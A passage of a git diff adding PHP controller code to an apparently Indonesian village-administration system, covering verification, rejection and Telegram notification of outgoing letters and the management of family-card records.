$data['paging'] = $this->keluar_model->paging($p, $o); + $data['main'] = $this->keluar_model->list_data($o, $data['paging']->offset, $data['paging']->per_page); + $data['tahun_surat'] = $this->keluar_model->list_tahun_surat(); + $data['bulan_surat'] = ($this->session->tahun == null) ? [] : $this->keluar_model->list_bulan_surat(); //ambil list bulan dari log + $data['jenis_surat'] = $this->keluar_model->list_jenis_surat(); + $data['keyword'] = $this->keluar_model->autocomplete(); + $data['widgets'] = $this->widget(); + $data['redirect'] = 'masuk'; + + $this->render('surat/surat_keluar', $data); + } + + public function ditolak() + { + $this->alihkan(); + + $this->tab_ini = 12; + + $this->session->ditolak = true; + $data['p'] = $p; + $data['o'] = $o; + + foreach ($this->list_session as $list) { + $data[$list] = $this->session->{$list} ?: ''; + } + + if ($this->input->post('per_page') !== null) { + $this->session->per_page = $this->input->post('per_page'); + } + + if (! isset($this->session->tahun)) { + $this->session->unset_userdata('bulan'); + } + + $data['per_page'] = $this->session->per_pages; + $data['title'] = 'Surat Ditolak'; + $data['operator'] = ((int) $this->isAdmin->jabatan_id == kades()->id || (int) $this->isAdmin->jabatan_id == sekdes()->id) ? false : true; + + if (setting('verifikasi_sekdes')) { + $data['next'] = setting('sebutan_sekretaris_desa'); + } elseif (setting('verifikasi_kades')) { + $data['next'] = setting('sebutan_kepala_desa'); + } else { + $data['next'] = null; + } + + $data['paging'] = $this->keluar_model->paging($p, $o); + $data['main'] = $this->keluar_model->list_data($o, $data['paging']->offset, $data['paging']->per_page); + $data['tahun_surat'] = $this->keluar_model->list_tahun_surat(); + $data['bulan_surat'] = ($this->session->tahun == null) ? [] : $this->keluar_model->list_bulan_surat(); //ambil list bulan dari log + $data['jenis_surat'] = $this->keluar_model->list_jenis_surat(); + $data['keyword'] = $this->keluar_model->autocomplete(); + $data['widgets'] = $this->widget(); + $data['redirect'] = 'ditolak'; + + $this->render('surat/surat_keluar', $data); + } + + public function verifikasi() + { + $this->alihkan(); + + $id = $this->input->post('id'); + $surat = LogSurat::find($id); + $mandiri = PermohonanSurat::where('id_surat', $surat->id_format_surat)->where('isian_form->nomor', $surat->no_surat)->first(); + $ref_jabatan_kades = setting('sebutan_kepala_desa'); + $ref_jabatan_sekdes = setting('sebutan_sekretaris_desa'); + + switch ($this->isAdmin->jabatan_id) { + // verifikasi kades + case kades()->id: + $current = 'verifikasi_kades'; + $next = (setting('tte') && ! in_array($surat->formatSurat->jenis, FormatSurat::RTF)) ? 'tte' : null; + $log = (setting('tte')) ? 'TTE' : null; + break; + + // verifikasi sekdes + case sekdes()->id: + $current = 'verifikasi_sekdes'; + $next = setting('verifikasi_kades') ? 'verifikasi_kades' : null; + $log = 'Verifikasi ' . $ref_jabatan_kades; + break; + + // verifikasi operator + default: + $current = 'verifikasi_operator'; + if (setting('verifikasi_sekdes')) { + $next = 'verifikasi_sekdes'; + $log = 'Verifikasi ' . $ref_jabatan_sekdes; + } elseif (setting('verifikasi_kades')) { + $next = 'verifikasi_kades'; + $log = 'Verifikasi ' . $ref_jabatan_kades; + } else { + $next = null; + $log = null; + } + break; + } + + if ($next == null) { + LogSurat::where('id', '=', $id)->update([$current => 1, 'log_verifikasi' => $log]); + + if ($mandiri != null) { + $mandiri->update(['status' => 3]); + } + } else { + $log_surat = LogSurat::where('id', '=', $id)->first(); + $log_surat->update([$current => 1, $next => 0, 'log_verifikasi' => $log]); + + // hapus surat pdf agar bisa digenerate ulang. + unlink(FCPATH . LOKASI_ARSIP . $log_surat->nama_surat); + + $kirim_telegram = User::whereHas('pamong', static function ($query) use ($next) { + if ($next == 'verifikasi_sekdes') { + return $query->where('jabatan_id', '=', sekdes()->id)->where('pamong_ttd', '=', '1'); + } + if ($next == 'verifikasi_kades') { + return $query->where('jabatan_id', '=', kades()->id); + } + })->where('notif_telegram', '=', '1')->first(); + + if ($kirim_telegram != null && cek_koneksi_internet()) { + try { + $telegram = new Telegram(); + // Data pesan telegram yang akan digantikan + $pesanTelegram = [ + '[nama_penduduk]' => Penduduk::find($log_surat->id_pend)->nama, + '[judul_surat]' => $log_surat->formatSurat->nama, + '[tanggal]' => tgl_indo2(date('Y-m-d H:i:s')), + '[melalui]' => 'Halaman Admin', + ]; + + $kirimPesan = setting('notifikasi_pengajuan_surat'); + $kirimPesan = str_replace(array_keys($pesanTelegram), array_values($pesanTelegram), $kirimPesan); + + $telegram->sendMessage([ + 'chat_id' => $kirim_telegram->id_telegram, + 'text' => $kirimPesan, + 'parse_mode' => 'Markdown', + 'reply_markup' => json_encode([ + 'inline_keyboard' => [[ + ['text' => 'Lihat detail', 'url' => site_url('keluar/clear/masuk')], + ]], + ]), + ]); + } catch (\Exception $e) { + log_message('error', $e->getMessage()); + } + } + } + } + + public function tolak() + { + $this->alihkan(); + + try { + $id = $this->input->post('id'); + $alasan = $this->input->post('alasan'); + $log_surat = LogSurat::where('id', '=', $id)->first(); + $file = FCPATH . LOKASI_ARSIP . $log_surat->nama_surat; + $log_surat->update([ + 'verifikasi_kades' => null, + 'verifikasi_sekdes' => null, + 'verifikasi_operator' => -1, + ]); + + // create log tolak + LogTolak::create([ + 'config_id' => identitas('id'), + 'keterangan' => $alasan, + 'id_surat' => $id, + 'created_by' => $this->session->user, + ]); + + if ($log_surat->isi_surat != null) { + unlink($file); //hapus file pdf + $log_surat->update([ + 'nama_surat' => null, + ]); + } + + $jenis_surat = $log_surat->formatSurat->nama; + + $kirim_telegram = User::whereHas('pamong', static function ($query) { + return $query->where('pamong_ub', '=', '0')->where('pamong_ttd', '=', '0'); + }) + ->where('notif_telegram', '=', '1') + ->get(); + + $telegram = new Telegram(); + + foreach ($kirim_telegram as $value) { + $telegram->sendMessage([ + 'chat_id' => $value->id_telegram, + 'text' => <<formatpenomoransurat} + Jenis Surat : {$jenis_surat} + Alasan : {$alasan} + + TERIMA KASIH. + EOD, + 'parse_mode' => 'Markdown', + 'reply_markup' => json_encode([ + 'inline_keyboard' => [[ + ['text' => 'Lihat detail', 'url' => site_url('keluar/clear/ditolak')], + ]], + ]), + ]); + } + + return json([ + 'status' => true, + ]); + } catch (Exception $e) { + return json([ + 'status' => false, + 'messages' => $e->getMessage(), + ]); + } + } + + public function tte() + { + $this->alihkan(); + + $id = $this->input->post('id'); + LogSurat::where('id', '=', $id)->update([ + 'tte' => 1, + ]); + + return json([ + 'status' => true, + ]); + } + + public function kembalikan() + { + try { + $id = $this->input->post('id'); + $alasan = $this->input->post('alasan'); + $surat = LogSurat::find($id); + $mandiri = PermohonanSurat::where('id_surat', $surat->id_format_surat)->where('isian_form->nomor', $surat->no_surat)->first(); + if ($mandiri == null) { + return json([ + 'status' => false, + 'message' => 'Surat tidak ditemukan!', + ]); + } + $mandiri->update(['status' => 0, 'alasan' => $alasan]); + $surat->delete(); + + return json([ + 'status' => true, + 'message' => 'success', + ]); + } catch (Exception $e) { + return json([ + 'status' => true, + 'message' => $e->getMessage(), + ]); + } + } + + public function periksa($id) + { + $surat = LogSurat::find($id); + $data['surat'] = $surat; + $data['mandiri'] = PermohonanSurat::where('id_surat', $surat->id_format_surat)->where('isian_form->nomor', $surat->no_surat)->first(); + $data['individu'] = $surat->penduduk; + $data['operator'] = ($this->isAdmin->jabatan_id == kades()->id || $this->isAdmin->jabatan_id == sekdes()->id) ? false : true; + $data['list_dokumen'] = Dokumen::hidup()->where('id_pend', $data['individu']->id)->get(); + + if ($this->isAdmin->jabatan_id == kades()->id) { + $next = null; + } elseif ($this->isAdmin->jabatan_id == sekdes()->id) { + $next = setting('verifikasi_kades') ? setting('sebutan_kepala_desa') : null; + } else { + if (setting('verifikasi_sekdes')) { + $next = setting('sebutan_sekretaris_desa'); + } elseif (setting('verifikasi_kades')) { + $next = setting('sebutan_kepala_desa'); + } else { + $next = null; + } + } + $data['next'] = $next; + + return view('admin.surat.periksa', $data); + } + + public function edit_keterangan($id = 0) + { + $this->redirect_hak_akses('u'); + $data['main'] = $this->keluar_model->get_surat($id); + $data['form_action'] = site_url("keluar/update_keterangan/{$id}"); + $this->load->view('surat/ajax_edit_keterangan', $data); + } + + public function update_keterangan($id = '') + { + $this->redirect_hak_akses('u'); + $data = ['keterangan' => $this->input->post('keterangan')]; + $data = $this->security->xss_clean($data); + $data = html_escape($data); + $this->keluar_model->update_keterangan($id, $data); + redirect($_SERVER['HTTP_REFERER']); + } + + public function delete($id = '') + { + $this->redirect_hak_akses('h'); + session_error_clear(); + $this->keluar_model->delete($id); + + redirect("keluar/clear/{$this->input->get('redirect')}"); + } + + public function search() + { + $cari = $this->input->post('cari'); + if ($cari != '') { + $this->session->cari = $cari; + } else { + $this->session->unset_userdata('cari'); + } + } + + public function perorangan_clear() + { + $this->session->unset_userdata($this->list_session); + $this->session->per_page = 20; + redirect('keluar/perorangan'); + } + + public function perorangan($nik = '', $p = 1, $o = 0) + { + if ($this->input->post('nik')) { + $id = $this->input->post('nik'); + } elseif ($nik) { + $id = $this->db->select('id')->get_where('penduduk_hidup', ['nik' => $nik, 'config_id' => identitas('id')])->row()->id; + } + + if ($id) { + $data['individu'] = $this->surat_model->get_penduduk($id); + } else { + $data['individu'] = null; + } + + $data['p'] = $p; + $data['o'] = $o; + + if (isset($_POST['per_page'])) { + $_SESSION['per_page'] = $this->input->post('per_page'); + } + $data['per_page'] = $this->session->per_page; + $data['paging'] = $this->keluar_model->paging_perorangan($id, $p, $o); + $data['main'] = $this->keluar_model->list_data_perorangan($id, $o, $data['paging']->offset, $data['paging']->per_page); + $data['form_action'] = site_url("sid_surat_keluar/perorangan/{$data['individu']['nik']}"); + + $this->render('surat/surat_keluar_perorangan', $data); + } + + public function graph() + { + $data['stat'] = $this->keluar_model->grafik(); + + $this->render('surat/surat_keluar_graph', $data); + } + + public function filter($filter) + { + $value = $this->input->post($filter); + if ($filter == 'tahun') { + $this->session->unset_userdata('bulan'); + } //hapus filter bulan + if ($value != '') { + $this->session->{$filter} = $value; + } else { + $this->session->unset_userdata($filter); + } + redirect('keluar'); + } + + public function unduh($tipe, $id, $preview = false) + { + $berkas = $this->keluar_model->get_surat($id); + if ($tipe == 'tinymce') { + redirect("surat/cetak/{$id}"); + } else { + if ($tipe == 'pdf') { + $berkas->nama_surat = basename($berkas->nama_surat, 'rtf') . 'pdf'; + } + ambilBerkas($tipe == 'lampiran' ? $berkas->lampiran : $berkas->nama_surat, $this->controller, null, LOKASI_ARSIP, (bool) $preview); + } + } + + public function dialog_cetak($aksi = '') + { + $data = $this->modal_penandatangan(); + $data['aksi'] = $aksi; + $data['form_action'] = site_url("keluar/cetak/{$aksi}"); + $this->load->view('global/ttd_pamong', $data); + } + + public function cetak($aksi = '') + { + $data['aksi'] = $aksi; + $data['input'] = $this->input->post(); + $data['config'] = $this->header['desa']; + $data['pamong_ttd'] = $this->pamong_model->get_data($this->input->post('pamong_ttd')); + $data['pamong_ketahui'] = $this->pamong_model->get_data($this->input->post('pamong_ketahui')); + $data['desa'] = $this->header['desa']; + $data['main'] = $this->keluar_model->list_data(); + + //pengaturan data untuk format cetak/ unduh + $data['file'] = 'Data Arsip Layanan Desa '; + $data['isi'] = 'surat/cetak'; + $data['letak_ttd'] = ['2', '2', '3']; + + $this->load->view('global/format_cetak', $data); + } + + public function qrcode($id = null) + { + if ($id) { + $data = $this->surat_model->getQrCode($id); + + $this->load->view('surat/qrcode', $data); + } + } + + public function widget() + { + if (! setting('verifikasi_sekdes') && ! setting('verifikasi_kades')) { + return null; + } + + return [ + 'suratMasuk' => LogSurat::whereNull('deleted_at')->when($this->isAdmin->jabatan_id == kades()->id, static function ($q) { + return $q->when(setting('tte') == 1, static function ($tte) { + return $tte->where(static function ($r) { + return $r->where('verifikasi_kades', '=', 0)->orWhere('tte', '=', 0); + }); + }) + ->when(setting('tte') == 0, static function ($tte) { + return $tte->where('verifikasi_kades', '=', '0'); + }); + }) + ->when($this->isAdmin->jabatan_id == sekdes()->id, static function ($q) { + return $q->where('verifikasi_sekdes', '=', '0'); + }) + ->when($this->isAdmin == null || ! in_array($this->isAdmin->jabatan_id, RefJabatan::getKadesSekdes()), static function ($q) { + return $q->where('verifikasi_operator', '=', '0'); + })->count(), + 'arsip' => LogSurat::whereNull('deleted_at')->when($this->isAdmin->jabatan_id == kades()->id, static function ($q) { + return $q->when(setting('tte') == 1, static function ($tte) { + return $tte->where('verifikasi_kades', '=', '1'); + }) + ->when(setting('tte') == 0, static function ($tte) { + return $tte->where('verifikasi_kades', '=', '1'); + }) + ->orWhere(static function ($verifikasi) { + $verifikasi->whereNull('verifikasi_operator'); + }); + }) + ->when($this->isAdmin->jabatan_id == sekdes()->id, static function ($q) { + return $q->where('verifikasi_sekdes', '=', '1')->orWhereNull('verifikasi_operator'); + }) + ->when($this->isAdmin == null || ! in_array($this->isAdmin->jabatan_id, RefJabatan::getKadesSekdes()), static function ($q) { + return $q->where('verifikasi_operator', '=', '1')->orWhereNull('verifikasi_operator'); + })->count(), + 'tolak' => LogSurat::whereNull('deleted_at')->where('verifikasi_operator', '=', '-1')->count(), + 'kecamatan' => count($this->data_kecamatan()), + ]; + } + + private function alihkan() + { + if (null === $this->widget()) { + redirect('keluar'); + } + } + + // TODO: OpenKab - Cek ORM ini + public function perbaiki() + { + LogSurat::where('config_id', identitas('id'))->update(['status' => LogSurat::CETAK, 'verifikasi_operator' => 1, 'verifikasi_sekdes' => 1, 'verifikasi_kades' => 1]); + + redirect('keluar'); + } + + public function kecamatan() + { + $this->tab_ini = 13; + + if (setting('verifikasi_kades') || setting('verifikasi_sekdes')) { + $data['operator'] = ($this->isAdmin->jabatan_id == 1 || $this->isAdmin->jabatan_id == 2) ? false : true; + $data['widgets'] = $this->widget(); + } + + $data['main'] = $this->data_kecamatan(); + + $this->render('surat/kecamatan', $data); + } + + private function data_kecamatan() + { + if (empty($this->setting->api_opendk_key)) { + return null; + } + $desa = kode_wilayah($this->header['desa']['kode_desa']); + + try { + $client = new \GuzzleHttp\Client([ + 'base_uri' => "{$this->setting->api_opendk_server}/api/v1/surat?desa_id={$desa}", + ]); + + $response = $client->get('', [ + 'headers' => [ + 'Accept' => 'application/json', + 'Authorization' => "Bearer {$this->setting->api_opendk_key}", + ], + ]); + } catch (GuzzleHttp\Exception\ClientException $e) { + log_message('error', $e); + + return null; + } catch (\Exception $exception) { + log_message('error', $exception); + + return null; + } + + $surat = json_decode($response->getBody()->getContents()); + + return $surat->data; + } +} diff --git a/donjo-app/controllers/Keluarga.php b/donjo-app/controllers/Keluarga.php index 6be043d05..838445e18 100644 --- a/donjo-app/controllers/Keluarga.php +++ b/donjo-app/controllers/Keluarga.php @@ -1,481 +1,726 @@ -load->model(['keluarga_model', 'penduduk_model', 'wilayah_model', 'program_bantuan_model']); + $this->modul_ini = 'kependudukan'; + $this->sub_modul_ini = 'keluarga'; + $this->_set_page = ['20', '50', '100', [0, 'Semua']]; + $this->_list_session = ['jenis_peristiwa', 'status_hanya_tetap', 'status_dasar', 'sex', 'dusun', 'rw', 'rt', 'cari', 'kelas', 'filter', 'id_bos', 'judul_statistik', 'bantuan_keluarga', 'kumpulan_kk']; + } + + public function clear_session() + { + $this->session->unset_userdata($this->_list_session); + $this->session->per_page = $this->_set_page[0]; + $this->session->status_dasar = 1; // tampilkan KK aktif saja + } + + public function clear() + { + $this->clear_session(); + redirect($this->controller); + } + + public function index($p = 1, $o = 1) + { + $data['p'] = $p; + $data['o'] = $o; + + foreach ($this->_list_session as $list) { + if (in_array($list, ['dusun', 'rw', 'rt'])) { + ${$list} = $this->session->{$list}; + } else { + $data[$list] = $this->session->{$list} ?: ''; + } + } + + if (isset($dusun)) { + $data['dusun'] = $dusun; + $data['list_rw'] = $this->wilayah_model->list_rw($dusun); + + if (isset($rw)) { + $data['rw'] = $rw; + $data['list_rt'] = $this->wilayah_model->list_rt($dusun, $rw); + + if (isset($rt)) { + $data['rt'] = $rt; + } else { + $data['rt'] = ''; + } + } else { + $data['rw'] = ''; + } + } else { + $data['dusun'] = $data['rw'] = $data['rt'] = ''; + } + + $per_page = $this->input->post('per_page'); + if (isset($per_page)) { + $this->session->per_page = $per_page; + } + + $data['func'] = 'index'; + $data['set_page'] = $this->_set_page; + $list_data = $this->keluarga_model->list_data($o, $p); + $data['paging'] = $list_data['paging']; + $data['main'] = $list_data['main']; + $data['list_sex'] = $this->referensi_model->list_data('tweb_penduduk_sex'); + $data['list_dusun'] = $this->wilayah_model->list_dusun(); + + $this->render('sid/kependudukan/keluarga', $data); + } + + public function autocomplete() + { + return json($this->keluarga_model->autocomplete($this->input->post('cari'))); + } + + public function cetak($page = 1, $o = 0, $aksi = '', $privasi_kk = 0) + { + $data['main'] = $this->keluarga_model->list_data($o, $page)['main']; + if ($privasi_kk == 1) { + $data['privasi_kk'] = true; + } + $this->load->view("sid/kependudukan/keluarga_{$aksi}", $data); + } + + public function form_peristiwa($peristiwa = '') + { + $this->redirect_hak_akses('u'); + // Acuan jenis peristiwa berada pada ref_peristiwa + // Yg valid hanya peristiwa datang masuk + if ($peristiwa != 5) { + redirect($this->controller); + } + + $this->session->jenis_peristiwa = $peristiwa; + $this->form(); + } + + public function form_peristiwa_a($peristiwa = '', $p = 1, $o = 0, $id = 0) + { + $this->redirect_hak_akses('u'); + // Acuan jenis peristiwa berada pada ref_peristiwa + $this->session->jenis_peristiwa = $peristiwa; + $this->form_a($p, $o, $id); + } + + // Masukkan KK baru + public function form($p = 1, $o = 0) + { + $this->redirect_hak_akses('u'); + // Reset kalau dipanggil dari luar pertama kali ($_POST kosong) + if (empty($_POST) && (! isset($_SESSION['dari_internal']) || ! $_SESSION['dari_internal'])) { + unset($_SESSION['validation_error']); + } + + $data['kk_baru'] = true; + + // Validasi dilakukan di keluarga_model sewaktu insert dan update + if (isset($_SESSION['validation_error']) && $_SESSION['validation_error']) { + // Kalau dipanggil internal pakai data yang disimpan di $_SESSION + if ($_SESSION['dari_internal']) { + $data['penduduk'] = $_SESSION['post']; + } else { + $data['penduduk'] = $_POST; + } + // Di penduduk_isian_form memakai 'sex' sesuai dengan nama kolom + // tapi pengisian nilai sebelumnya menggunakan 'id_sex' + $data['penduduk']['id_sex'] = $data['penduduk']['sex']; + } else { + $data['penduduk'] = null; + } + $data['kk'] = null; + $data['form_action'] = site_url("{$this->controller}/insert_new"); + $data['penduduk_lepas'] = $this->keluarga_model->list_penduduk_lepas(); + $data['dusun'] = $this->wilayah_model->list_dusun(); + $data['rw'] = $this->wilayah_model->list_rw($data['penduduk']['dusun']); + $data['rt'] = $this->wilayah_model->list_rt($data['penduduk']['dusun'], $data['penduduk']['rw']); + $data['agama'] = $this->referensi_model->list_data('tweb_penduduk_agama'); + $data['pendidikan_sedang'] = $this->penduduk_model->list_pendidikan_sedang(); + $data['pendidikan_kk'] = $this->penduduk_model->list_pendidikan_kk(); + $data['pekerjaan'] = $this->penduduk_model->list_pekerjaan(); + $data['warganegara'] = $this->penduduk_model->list_warganegara(); + $data['hubungan'] = $this->penduduk_model->list_hubungan(); + $data['kawin'] = $this->penduduk_model->list_status_kawin(); + $data['golongan_darah'] = $this->penduduk_model->list_golongan_darah(); + $data['bahasa'] = $this->referensi_model->list_data('ref_penduduk_bahasa'); + $data['cacat'] = $this->penduduk_model->list_cacat(); + $data['sakit_menahun'] = $this->referensi_model->list_data('tweb_sakit_menahun'); + $data['cara_kb'] = $this->penduduk_model->list_cara_kb($data['penduduk']['id_sex']); + $data['ktp_el'] = $this->referensi_model->list_ktp_el(); + $data['status_rekam'] = $this->referensi_model->list_status_rekam(); + $data['tempat_dilahirkan'] = $this->referensi_model->list_ref_flip(TEMPAT_DILAHIRKAN); + $data['jenis_kelahiran'] = $this->referensi_model->list_ref_flip(JENIS_KELAHIRAN); + $data['penolong_kelahiran'] = $this->referensi_model->list_ref_flip(PENOLONG_KELAHIRAN); + $data['pilihan_asuransi'] = $this->referensi_model->list_data('tweb_penduduk_asuransi'); + $data['kehamilan'] = $this->referensi_model->list_data('ref_penduduk_hamil'); + $data['suku'] = $this->penduduk_model->get_suku(); + $data['nik_sementara'] = $this->penduduk_model->nik_sementara(); + $data['cek_nik'] = get_nik($data['penduduk']['nik']); + $data['cek_nokk'] = get_nokk($data['kk']['no_kk']); + $data['nokk_sementara'] = $this->keluarga_model->nokk_sementara(); + + if ($this->session->status_hanya_tetap) { + $data['status_penduduk'] = $this->referensi_model->list_data('tweb_penduduk_status', $this->session->status_hanya_tetap, 1); + } else { + $data['status_penduduk'] = $this->referensi_model->list_data('tweb_penduduk_status', null, 1); + } + $data['jenis_peristiwa'] = $this->session->jenis_peristiwa; + + $this->session->unset_userdata(['dari_internal']); + + $this->render('sid/kependudukan/keluarga_form', $data); + } + + // Tambah anggota keluarga dari penduduk baru + // Tidak boleh tambah anggota bagi kasus kepala keluarga mati/hilang/pindah + public function form_a($p = 1, $o = 0, $id = 0) + { + $this->redirect_hak_akses('u'); + $kepala = $this->keluarga_model->get_kepala_a($id); + $this->redirect_tidak_valid(empty($kepala['id']) || $kepala['status_dasar'] == 1); + + if (empty($_POST) && ! $_SESSION['dari_internal']) { + unset($_SESSION['validation_error']); + } else { + unset($_SESSION['dari_internal']); + } + + $data['id_kk'] = $id; + $data['kk'] = $this->keluarga_model->get_kepala_a($id); + $data['form_action'] = site_url("{$this->controller}/insert_a"); + $data['agama'] = $this->referensi_model->list_data('tweb_penduduk_agama'); + $data['pendidikan_kk'] = $this->penduduk_model->list_pendidikan_kk(); + $data['pendidikan_sedang'] = $this->penduduk_model->list_pendidikan_sedang(); + $data['pekerjaan'] = $this->penduduk_model->list_pekerjaan(); + $data['warganegara'] = $this->penduduk_model->list_warganegara(); + $data['hubungan'] = $this->penduduk_model->list_hubungan($data['kk']['status_kawin'], $data['kk']['sex']); + $data['kawin'] = $this->penduduk_model->list_status_kawin(); + $data['golongan_darah'] = $this->penduduk_model->list_golongan_darah(); + $data['bahasa'] = $this->referensi_model->list_data('ref_penduduk_bahasa'); + $data['cacat'] = $this->penduduk_model->list_cacat(); + $data['sakit_menahun'] = $this->referensi_model->list_data('tweb_sakit_menahun'); + $data['cara_kb'] = $this->penduduk_model->list_cara_kb($data['penduduk']['id_sex']); + $data['ktp_el'] = $this->referensi_model->list_ktp_el(); + $data['status_rekam'] = $this->referensi_model->list_status_rekam(); + $data['tempat_dilahirkan'] = $this->referensi_model->list_ref_flip(TEMPAT_DILAHIRKAN); + $data['jenis_kelahiran'] = $this->referensi_model->list_ref_flip(JENIS_KELAHIRAN); + $data['penolong_kelahiran'] = $this->referensi_model->list_ref_flip(PENOLONG_KELAHIRAN); + $data['pilihan_asuransi'] = $this->referensi_model->list_data('tweb_penduduk_asuransi'); + $data['kehamilan'] = $this->referensi_model->list_data('ref_penduduk_hamil'); + $data['suku'] = $this->penduduk_model->get_suku(); + $data['nik_sementara'] = $this->penduduk_model->nik_sementara(); + + if ($this->session->status_hanya_tetap) { + $data['status_penduduk'] = $this->referensi_model->list_data('tweb_penduduk_status', $this->session->status_hanya_tetap, 1); + } else { + $data['status_penduduk'] = $this->referensi_model->list_data('tweb_penduduk_status', null, 1); + } + $data['jenis_peristiwa'] = $this->session->jenis_peristiwa; + + // Validasi dilakukan di keluarga_model sewaktu insert dan update + if ($_SESSION['validation_error']) { + $data['id_kk'] = $_SESSION['id_kk']; + $data['kk'] = $_SESSION['kk']; + $data['penduduk'] = $_SESSION['post']; + } + + $this->render('sid/kependudukan/keluarga_form_a', $data); + } + + public function edit_nokk($p = 1, $o = 0, $id = 0) + { + $this->redirect_hak_akses('u'); + $data['kk'] = $this->keluarga_model->get_keluarga($id) ?? show_404(); + $data['dusun'] = $this->wilayah_model->list_dusun(); + $data['rw'] = $this->wilayah_model->list_rw($data['kk']['dusun']); + $data['rt'] = $this->wilayah_model->list_rt($data['kk']['dusun'], $data['kk']['rw']); + $data['program'] = $this->program_bantuan_model->list_program_keluarga($id); + $data['keluarga_sejahtera'] = $this->referensi_model->list_data('tweb_keluarga_sejahtera'); + $data['cek_nokk'] = get_nokk($data['kk']['no_kk']); + $data['nokk_sementara'] = $this->keluarga_model->nokk_sementara(); + $data['form_action'] = site_url("{$this->controller}/update_nokk/{$id}"); + + $this->load->view('sid/kependudukan/ajax_edit_nokk', $data); + } + + // Tambah KK dari penduduk yg ada + public function form_old($p = 1, $o = 0, $id = 0) + { + $this->redirect_hak_akses('u'); + $data['penduduk'] = $this->keluarga_model->list_penduduk_lepas(); + $data['cek_nokk'] = get_nokk($data['kk']['no_kk']); + $data['nokk_sementara'] = $this->keluarga_model->nokk_sementara(); + $data['form_action'] = site_url("{$this->controller}/insert/{$id}"); + $this->load->view('sid/kependudukan/ajax_add_keluarga', $data); + } + + public function filter($filter) + { + $value = $this->input->post($filter); + if ($value != '') { + $this->session->{$filter} = $value; + } else { + $this->session->unset_userdata($filter); + } + + redirect($this->controller); + } + + public function dusun() + { + $this->session->unset_userdata(['rw', 'rt']); + $dusun = $this->input->post('dusun'); + if ($dusun != '') { + $this->session->dusun = $dusun; + } else { + $this->session->unset_userdata('dusun'); + } + + redirect($this->controller); + } + + public function rw() + { + $this->session->unset_userdata('rt'); + $rw = $this->input->post('rw'); + if ($rw != '') { + $this->session->rw = $rw; + } else { + $this->session->unset_userdata('rw'); + } + + redirect($this->controller); + } + + public function rt() + { + $rt = $this->input->post('rt'); + if ($rt != '') { + $this->session->rt = $rt; + } else { + $this->session->unset_userdata('rt'); + } + + redirect($this->controller); + } + + // Tambah KK dengan memilih dari penduduk yg sudah ada + public function insert() + { + $this->redirect_hak_akses('u'); + $this->keluarga_model->insert(); + $this->cache->hapus_cache_untuk_semua('_wilayah'); + + redirect($this->controller); + } + + public function insert_a() + { + $this->redirect_hak_akses('u'); + $id_kk = $this->input->post('id_kk'); + $_POST['no_kk'] = $_POST['no_kk_keluarga']; + $_POST['id'] = $id_kk; + unset($_POST['no_kk_keluarga']); + $this->keluarga_model->insert_a(); + $this->cache->hapus_cache_untuk_semua('_wilayah'); + if ($_SESSION['validation_error']) { + $_SESSION['id_kk'] = $id_kk; + $_SESSION['kk'] = $this->keluarga_model->get_kepala_a($id_kk); + $_SESSION['dari_internal'] = true; + redirect("{$this->controller}/form_a/1/0/{$id_kk}"); + } else { + redirect("{$this->controller}/anggota/1/0/{$id_kk}"); + } + } + + // Tambah KK dengan mengisi form penduduk kepala keluarga baru + public function insert_new() + { + $this->redirect_hak_akses('u'); + $this->keluarga_model->insert_new(); + $this->cache->hapus_cache_untuk_semua('_wilayah'); + if ($_SESSION['success'] == -1) { + $_SESSION['dari_internal'] = true; + redirect("{$this->controller}/form"); + } else { + redirect($this->controller); + } + } + + public function update_nokk($id = 0) + { + $this->redirect_hak_akses('u'); + $this->redirect_tidak_valid($this->keluarga_model->get_kepala_a($id)['status_dasar'] == 1); + $this->keluarga_model->update_nokk($id); + $this->cache->hapus_cache_untuk_semua('_wilayah'); + + redirect($this->controller); + } + + public function delete($p = 1, $o = 0, $id = 0) + { + $this->redirect_hak_akses('h'); + $this->redirect_tidak_valid($this->keluarga_model->cek_boleh_hapus($id)); + $this->keluarga_model->delete($id); + $this->cache->hapus_cache_untuk_semua('_wilayah'); + + redirect($this->controller); + } + + public function delete_all() + { + $this->redirect_hak_akses('h'); + $this->keluarga_model->delete_all(); + $this->cache->hapus_cache_untuk_semua('_wilayah'); + + redirect($this->controller); + } + + public function anggota($p = 1, $o = 0, $id = 0) + { + $data['p'] = $p; + $data['o'] = $o; + $data['kk'] = $id; + + $kk = ModelsKeluarga::with(['anggota'])->find($id) ?? show_404(); + $data['no_kk'] = $kk->no_kk; + $data['main'] = $kk->anggota->map(static function ($item) { + $item->hubungan = SHDKEnum::valueOf($item->kk_level); + $item->sex = JenisKelaminEnum::valueOf($item->sex); + + return $item; + })->toArray(); + $data['kepala_kk'] = $kk->anggota->where('kk_level', SHDKEnum::KEPALA_KELUARGA)->first(); + $data['program'] = $this->program_bantuan_model->get_peserta_program(2, $kk->no_kk); + + $this->render('sid/kependudukan/keluarga_anggota', $data); + } + + public function ajax_add_anggota($p = 1, $o = 0, $id = 0) + { + $this->redirect_hak_akses('u'); + $data['p'] = $p; + $data['o'] = $o; + + $kk = $this->keluarga_model->get_kepala_kk($id); + if ($kk) { + $data['kepala_kk'] = $kk; + } else { + $data['kepala_kk'] = null; + } + $data['hubungan'] = $this->penduduk_model->list_hubungan($data['kepala_kk']['status_kawin_id'], $data['kepala_kk']['sex_id']); + $data['main'] = $this->keluarga_model->list_anggota($id); + $data['penduduk'] = $this->keluarga_model->list_penduduk_lepas(); + $data['form_action'] = site_url("{$this->controller}/add_anggota/{$p}/{$o}/{$id}"); + + $this->load->view('sid/kependudukan/ajax_add_anggota_form', $data); + } + + // $id adalah id tweb_penduduk + public function edit_anggota($p = 1, $o = 0, $id_kk = 0, $id = 0) + { + $this->redirect_hak_akses('u'); + $data['p'] = $p; + $data['o'] = $o; + + $data['hubungan'] = $this->keluarga_model->list_hubungan(); + $data['main'] = $this->keluarga_model->get_anggota($id); + + $kk = $this->keluarga_model->get_kepala_kk($id_kk); + if ($kk) { + $data['kepala_kk'] = $kk; + } else { + $data['kepala_kk'] = null; + } + + $data['form_action'] = site_url("{$this->controller}/update_anggota/{$p}/{$o}/{$id_kk}/{$id}"); + + $this->load->view('sid/kependudukan/ajax_edit_anggota_form', $data); + } + + public function kartu_keluarga($p = 1, $o = 0, $id = 0) + { + $data['p'] = $p; + $data['o'] = $o; + $data['id_kk'] = $id; + + $data['hubungan'] = $this->keluarga_model->list_hubungan(); + $data['main'] = $this->keluarga_model->list_anggota($id); + $kk = $this->keluarga_model->get_kepala_kk($id); + $data['desa'] = $this->header['desa']; + + if ($kk) { + $data['kepala_kk'] = $kk; + } else { + $data['kepala_kk'] = $this->keluarga_model->get_keluarga($id) ?? 